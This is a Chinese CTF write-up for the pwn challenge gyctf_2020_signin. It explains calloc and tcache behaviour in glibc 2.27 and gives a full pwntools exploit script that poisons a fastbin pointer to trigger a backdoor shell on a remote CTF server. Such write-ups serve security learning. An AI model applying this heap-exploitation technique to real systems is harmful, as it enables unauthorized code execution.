gyctf_2020_signin

calloc

calloc 有以下特性

  • 不会分配 tcache chunk 中的 chunk 。

tcache 有以下特性

  • 在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。

思路

题目给了 backdoor 函数,只要全局变量 ptr 中有值,就会执行 system("/bin/sh") ,所以我们解题思路很明确,就是往 ptr 中填值。具体步骤如下:

  1. 首先分配 8 个 0x80 大小的 chunk ,依次 free 掉,这样 tcache 中 0x80 的 chunk 列表已经被填满,还多了一个 0x80 的 chunk 在 fast bin 中。
  2. 分配一个 0x80 大小的 chunk ,这个 chunk 会从 tcache 中取出,这一步的目的是为了在 tcache 留出空位。
  3. 类似 fastbin attack ,将 fastbin 里的 chunk 的 fd 指针改为 ptr - 0x10 处,这样 calloc 将这个 chunk 分配出去时,就会认为 fd 指针对应的也是一个 chunk ,会把这个 chunk 放入 tcache ,而 tcache 中是以 fd 指针连接的,这样 ptr 的值就会被修改为某个 fd 的指针。这样我们就能执行 system('/bin/sh') 拿 shell 了。

exp

from pwn_debug import *

context.log_level = 'debug'

pdbg = pwn_debug('./gyctf_2020_signin')
pdbg.remote('node3.buuoj.cn',28300)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so','/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
#r = pdbg.run('local')
r = pdbg.run('remote')

def add(idx):
    r.sendlineafter('your choice?',str(1))
    r.sendlineafter('idx?',str(idx))

def edit(idx,context):
    r.sendlineafter('your choice?',str(2))
    r.sendlineafter('idx?',str(idx))
    r.send(context)

def delete(idx):
    r.sendlineafter('your choice?',str(3))
    r.sendlineafter('idx?',str(idx))

add(0) 
add(1) 
add(2) 
add(3) 
add(4)  
add(5)
add(6)
add(7)   

delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)

add(8)
payload = p64(0x4040c0-0x10).ljust(0x50,'\x00')

#gdb.attach(r)

edit(7,payload)

#gdb.attach(r)
r.sendlineafter('your choice?', '6')
r.interactive()

内容来源

i春秋公益赛之signin

posted @ 2020-08-11 10:20  PwnKi  阅读(602)  评论(0编辑  收藏  举报